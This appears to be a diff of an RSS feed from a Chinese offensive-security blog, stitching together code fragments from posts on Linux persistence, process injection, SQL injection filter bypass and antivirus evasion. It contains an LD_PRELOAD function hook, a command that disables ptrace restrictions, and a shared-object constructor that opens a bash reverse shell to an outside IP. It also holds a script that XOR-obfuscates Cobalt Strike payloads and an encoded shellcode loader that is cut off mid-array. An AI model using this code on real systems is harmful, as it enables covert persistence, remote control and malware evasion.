style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> msg RunMsg; +</span></span><span style="display:flex;"><span> HMODULE hBadCode <span style="color:#f92672">=</span> <span style="color:#a6e22e">LoadLibrary</span>(<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;BadCode-DLL.dll&#34;</span>)); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> RunMsg <span style="color:#f92672">=</span> (msg)<span style="color:#a6e22e">GetProcAddress</span>(hBadCode,<span style="color:#e6db74">&#34;msg&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">RunMsg</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">FreeLibrary</span>(hBadCode); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>通过LoadLibrary这个API来加载DLL文件,使其运行,看起来是一个基础操作,那么还有另外一种方式吗?</p>Linux权限维持之LD_PRELOADhttps://payloads.online/archivers/2020-01-01/1/Wed, 01 Jan 2020 00:00:00 +0000https://payloads.online/archivers/2020-01-01/1/<h2 id="ld_preload">LD_PRELOAD</h2> <p>Linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和默认配置文件<code>/etc/ld.so.preload</code>,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和<code>/etc/ld.so.preload</code>配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。</p> <p>通过LD_PRELOAD环境变量,能够轻易的加载一个动态链接库。通过这个动态库劫持系统API函数,每次调用都会执行植入的代码。</p> <h2 id="dlsym">dlsym</h2> @@ -1482,7 +2940,26 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 -</span></code></prLinux权限维持之进程注入https://payloads.online/archivers/2020-01-01/2/Wed, 01 Jan 2020 00:00:00 +0000https://payloads.online/archivers/2020-01-01/2/<h2 id="说明">说明</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;unistd.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;dlfcn.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdlib.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">puts</span>(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>message) { +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> (<span style="color:#f92672">*</span>new_puts)(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>message); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> result; +</span></span><span style="display:flex;"><span> new_puts <span style="color:#f92672">=</span> <span style="color:#a6e22e">dlsym</span>(RTLD_NEXT, <span style="color:#e6db74">&#34;puts&#34;</span>); +</span></span><span style="display:flex;"><span><span style="color:#75715e">// do some thing … +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 这里是puts调用之前 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> result <span style="color:#f92672">=</span> <span style="color:#a6e22e">new_puts</span>(message); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 这里是puts调用之后 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">return</span> result; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>编译命令:</p>Linux权限维持之进程注入https://payloads.online/archivers/2020-01-01/2/Wed, 01 Jan 2020 00:00:00 +0000https://payloads.online/archivers/2020-01-01/2/<h2 id="说明">说明</h2> <p>通过进程注入技术,能够使得动态链接库被加载到一个正在运行的进程,因此较为隐蔽。进程注入通过调用<code>ptrace()</code>实现了与Windows平台下相同作用的API 函数<code>CreateRemoteThread()</code>。在许多Linux发行版中,内核的默认配置文件<code>/proc/sys/kernel/yama/ptrace_scope</code>限制了一个进程除了<code>fork()</code>派生外,无法通过<code>ptrace()</code>来操作另外一个进程。</p> <p>要注入进程前,需要关闭这个限制(Root权限):</p> <p><code>echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope</code></p> @@ -1524,7 +3001,30 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 -</span></code></prSQL Server DBA WriteFilehttps://payloads.online/archivers/2020-01-01/3/Wed, 01 Jan 2020 00:00:00 +0000https://payloads.online/archivers/2020-01-01/3/<h2 id="0x01-前言">0x01 前言</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;unistd.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;dlfcn.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdlib.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">shell</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;I just got loaded</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">system</span>(<span style="color:#e6db74">&#34;bash -c </span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">bash -i &gt;&amp; /dev/tcp/192.168.170.138/139 0&gt;&amp;1</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">&#34;</span>); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#a6e22e">__attribute__</span>((constructor)) +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">loadMsg</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">shell</span>(); +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>通过如下命令编译so文件:</p>SQL Server DBA WriteFilehttps://payloads.online/archivers/2020-01-01/3/Wed, 01 Jan 2020 00:00:00 +0000https://payloads.online/archivers/2020-01-01/3/<h2 id="0x01-前言">0x01 前言</h2> <p>本文非基础类的普及文章,主要分享内网中遇到的一个有趣案例。</p> <h2 id="0x02-bypass注入点">0x02 Bypass注入点</h2> <p>通常情况下,遇到SQL Server注入点,我会比较关注是否是DBA权限,如果是,那么就可能拿到执行命令的权限,进而反弹到C2上,方便后续的后渗透工作。</p> @@ -1554,7 +3054,46 @@ <img src="https://images.payloads.online/806ce52c-4f5f-11ec-b8ca-00d861bf4abb.png" alt="2020-01-03-13-13-37"> </p> -<p>核心代码:</p>静态恶意代码逃逸(第一课)https://payloads.online/archivers/2019-11-10/1/Sun, 10 Nov 2019 00:00:00 +0000https://payloads.online/archivers/2019-11-10/1/<h2 id="0x00-前言">0x00 前言</h2> +<p>核心代码:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> xrange(len(payload)): +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> firstspace: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> payload[i]<span style="color:#f92672">.</span>isspace(): +</span></span><span style="display:flex;"><span> firstspace <span style="color:#f92672">=</span> <span style="color:#66d9ef">True</span> +</span></span><span style="display:flex;"><span> retVal <span style="color:#f92672">+=</span> <span style="color:#e6db74">&#34;/**/&#34;</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">continue</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> payload[i] <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\&#39;</span><span style="color:#e6db74">&#39;</span>: +</span></span><span style="display:flex;"><span> quote <span style="color:#f92672">=</span> <span style="color:#f92672">not</span> quote +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> payload[i] <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;&#34;&#39;</span>: +</span></span><span style="display:flex;"><span> doublequote <span style="color:#f92672">=</span> <span style="color:#f92672">not</span> doublequote +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> payload[i] <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34; &#34;</span> <span style="color:#f92672">and</span> <span style="color:#f92672">not</span> doublequote <span style="color:#f92672">and</span> <span style="color:#f92672">not</span> quote: +</span></span><span style="display:flex;"><span> retVal <span style="color:#f92672">+=</span> <span style="color:#e6db74">&#34;/**/&#34;</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">continue</span> +</span></span></code></pre></td></tr></table> +</div> +</div><p>只需要替换<code>/**/</code>即可:</p>静态恶意代码逃逸(第一课)https://payloads.online/archivers/2019-11-10/1/Sun, 10 Nov 2019 00:00:00 +0000https://payloads.online/archivers/2019-11-10/1/<h2 id="0x00-前言">0x00 前言</h2> <p>前五课的代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> <p>在此之前,我分享过《高级后渗透C2免杀与对抗》,其中对于一些原理铺垫上稍有欠缺,因此准备分成几篇文章来展开。</p> <h2 id="0x01-恶意代码的定义">0X01 恶意代码的定义</h2> @@ -1622,7 +3161,55 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">42 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">43 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">44 -</span></code></pr静态恶意代码逃逸(第三课)https://payloads.online/archivers/2019-11-10/3/Sun, 10 Nov 2019 00:00:00 +0000https://payloads.online/archivers/2019-11-10/3/<h2 id="0x01-关于内存申请的优化">0x01 关于内存申请的优化</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> sys +</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> argparse <span style="color:#f92672">import</span> ArgumentParser, FileType +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">process_bin</span>(num, src_fp, dst_fp, dst_raw): +</span></span><span style="display:flex;"><span> shellcode <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span> +</span></span><span style="display:flex;"><span> shellcode_size <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span> +</span></span><span style="display:flex;"><span> shellcode_raw <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">try</span>: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> <span style="color:#66d9ef">True</span>: +</span></span><span style="display:flex;"><span> code <span style="color:#f92672">=</span> src_fp<span style="color:#f92672">.</span>read(<span style="color:#ae81ff">1</span>) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> code: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> base10 <span style="color:#f92672">=</span> ord(code) <span style="color:#f92672">^</span> num +</span></span><span style="display:flex;"><span> base10_str <span style="color:#f92672">=</span> chr(base10) +</span></span><span style="display:flex;"><span> shellcode_raw <span style="color:#f92672">+=</span> base10_str<span style="color:#f92672">.</span>encode() +</span></span><span style="display:flex;"><span> code_hex <span style="color:#f92672">=</span> hex(base10) +</span></span><span style="display:flex;"><span> code_hex <span style="color:#f92672">=</span> code_hex<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#39;0x&#39;</span>,<span style="color:#e6db74">&#39;&#39;</span>) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(len(code_hex) <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span>): +</span></span><span style="display:flex;"><span> code_hex <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;0&#39;</span> <span style="color:#f92672">+</span> code_hex +</span></span><span style="display:flex;"><span> shellcode <span style="color:#f92672">+=</span> <span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">x&#39;</span> <span style="color:#f92672">+</span> code_hex +</span></span><span style="display:flex;"><span> shellcode_size <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span> +</span></span><span style="display:flex;"><span> src_fp<span style="color:#f92672">.</span>close() +</span></span><span style="display:flex;"><span> dst_raw<span style="color:#f92672">.</span>write(shellcode_raw) +</span></span><span style="display:flex;"><span> dst_raw<span style="color:#f92672">.</span>close() +</span></span><span style="display:flex;"><span> dst_fp<span style="color:#f92672">.</span>write(shellcode) +</span></span><span style="display:flex;"><span> dst_fp<span style="color:#f92672">.</span>close() +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> shellcode_size +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">except</span> <span style="color:#a6e22e">Exception</span> <span style="color:#66d9ef">as</span> e: +</span></span><span style="display:flex;"><span> sys<span style="color:#f92672">.</span>stderr<span style="color:#f92672">.</span>writelines(str(e)) +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">main</span>(): +</span></span><span style="display:flex;"><span> parser <span style="color:#f92672">=</span> ArgumentParser(prog<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;Shellcode X&#39;</span>, description<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;[XOR The Cobaltstrike PAYLOAD.BINs] </span><span style="color:#ae81ff">\t</span><span style="color:#e6db74"> &gt; Author: rvn0xsy@gmail.com&#39;</span>) +</span></span><span style="display:flex;"><span> parser<span style="color:#f92672">.</span>add_argument(<span style="color:#e6db74">&#39;-v&#39;</span>,<span style="color:#e6db74">&#39;--version&#39;</span>,nargs<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;?&#39;</span>) +</span></span><span style="display:flex;"><span> parser<span style="color:#f92672">.</span>add_argument(<span style="color:#e6db74">&#39;-s&#39;</span>,<span style="color:#e6db74">&#39;--src&#39;</span>,help<span style="color:#f92672">=</span><span style="color:#e6db74">u</span><span style="color:#e6db74">&#39;source bin file&#39;</span>,type<span style="color:#f92672">=</span>FileType(<span style="color:#e6db74">&#39;rb&#39;</span>), required<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>) +</span></span><span style="display:flex;"><span> parser<span style="color:#f92672">.</span>add_argument(<span style="color:#e6db74">&#39;-d&#39;</span>,<span style="color:#e6db74">&#39;--dst&#39;</span>,help<span style="color:#f92672">=</span><span style="color:#e6db74">u</span><span style="color:#e6db74">&#39;destination shellcode file&#39;</span>,type<span style="color:#f92672">=</span>FileType(<span style="color:#e6db74">&#39;w+&#39;</span>),required<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>) +</span></span><span style="display:flex;"><span> parser<span style="color:#f92672">.</span>add_argument(<span style="color:#e6db74">&#39;-n&#39;</span>,<span style="color:#e6db74">&#39;--num&#39;</span>,help<span style="color:#f92672">=</span><span style="color:#e6db74">u</span><span style="color:#e6db74">&#39;Confused number&#39;</span>,type<span style="color:#f92672">=</span>int, default<span style="color:#f92672">=</span><span style="color:#ae81ff">90</span>) +</span></span><span style="display:flex;"><span> parser<span style="color:#f92672">.</span>add_argument(<span style="color:#e6db74">&#39;-r&#39;</span>,<span style="color:#e6db74">&#39;--raw&#39;</span>,help<span style="color:#f92672">=</span><span style="color:#e6db74">u</span><span style="color:#e6db74">&#39;output bin file&#39;</span>, type<span style="color:#f92672">=</span>FileType(<span style="color:#e6db74">&#39;wb&#39;</span>), required<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>) +</span></span><span style="display:flex;"><span> args <span style="color:#f92672">=</span> parser<span style="color:#f92672">.</span>parse_args() +</span></span><span style="display:flex;"><span> shellcode_size <span style="color:#f92672">=</span> process_bin(args<span style="color:#f92672">.</span>num, args<span style="color:#f92672">.</span>src, args<span style="color:#f92672">.</span>dst, args<span style="color:#f92672">.</span>raw) +</span></span><span style="display:flex;"><span> sys<span style="color:#f92672">.</span>stdout<span style="color:#f92672">.</span>writelines(<span style="color:#e6db74">&#34;[+]Shellcode Size : </span><span style="color:#e6db74">{}</span><span style="color:#e6db74"> </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span><span style="color:#f92672">.</span>format(shellcode_size)) +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;__main__&#34;</span>: +</span></span><span style="display:flex;"><span> main() +</span></span></code></pre></td></tr></table> +</div> +</div><p>上面这个脚本是我在去年写的,用于把raw文件混淆,生成c语言数组,在后面的文章中,我们也以c/c++语言为主,探究其本质。</p>静态恶意代码逃逸(第三课)https://payloads.online/archivers/2019-11-10/3/Sun, 10 Nov 2019 00:00:00 +0000https://payloads.online/archivers/2019-11-10/3/<h2 id="0x01-关于内存申请的优化">0x01 关于内存申请的优化</h2> <p>前五课的代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> <p>本章只提及一下关于VirtualAlloc的建议。</p> <p><a href="https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc">https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc</a></p> @@ -1687,7 +3274,72 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">56 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">57 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">58 -</span></code></pr静态恶意代码逃逸(第二课)https://payloads.online/archivers/2019-11-10/2/Sun, 10 Nov 2019 00:00:00 +0000https://payloads.online/archivers/2019-11-10/2/<h2 id="0x01-关于windows操作系统内存">0x01 关于Windows操作系统内存</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">// 入口函数 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">wmain</span>(<span style="color:#66d9ef">int</span> argc,TCHAR <span style="color:#f92672">*</span> argv[]){ +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> shellcode_size <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#75715e">// shellcode长度 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> DWORD dwThreadId; <span style="color:#75715e">// 线程ID +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> HANDLE hThread; <span style="color:#75715e">// 线程句柄 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> DWORD dwOldProtect; <span style="color:#75715e">// 内存页属性 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">/* length: 800 bytes */</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> buf[] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9a\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x6a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x39\x7f\x65\x4f\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x48\x45\x43\x4f\x33\x31\x44\x46\x44\x46\x23\x07\x00\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\